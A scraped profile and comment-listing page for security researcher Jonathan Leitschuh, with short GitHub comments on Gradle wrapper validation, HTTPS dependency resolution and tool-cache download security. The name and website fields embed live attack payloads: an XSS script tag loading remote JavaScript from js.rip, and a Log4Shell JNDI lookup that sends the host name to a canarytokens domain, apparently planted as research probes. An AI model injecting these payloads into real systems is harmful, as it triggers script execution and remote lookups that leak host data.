Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

icon indicating a website link ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} icon indicating an email [email protected]

icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 594 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

Go away!

Verify distributionUrl and distributionSha256Sum in gradle-wrapper.properties against the official list

I could get behind this feature. @eskatos what are your thoughts?

Verify distributionUrl and distributionSha256Sum in gradle-wrapper.properties against the official list

@vlsi would you be willing to contribute a PR?

Output against which version of a wrapper JAR validation succeeded

@sschuberth We are now intentionally attempting to minimize changes to the `gradle-wrapper.jar` file between releases. As such, there are now versions of the `gradle-wrapper.jar` that match multiple releases because the...

Output against which version of a wrapper JAR validation succeeded

Theoretically, we could output a range of version matches. @eskatos what do you think? @sschuberth what need are you looking to satisfy?

Output against which version of a wrapper JAR validation succeeded

That makes sense. Somewhat outside the scope of this project, but I can see why that would be useful. I'm happy to review a PR that adds this functionality if...

Validate gradlew scripts

That doesn't always really work. Some organizations modify their gradlew scripts when updating them in order to, for example, increase the memory the wrapper is given. When doing that, the...

Validate gradlew scripts

@eskatos how difficult would it be to also generate SHA checksums for the `gradlew` and `gradle.bat` files? One problem that you'd also run into here is that, unless you had...

tool-cache download should only allow http if explicitly set and not allow downgrade on redirects.

Possibly blocked by: https://github.com/microsoft/typed-rest-client/issues/165

tool-cache download should only allow http if explicitly set and not allow downgrade on redirects.

Any updates. I'd like to make sure we don't reach a point where there are lots of actions out there that are unintentionally insecure. The sooner this is nipped in...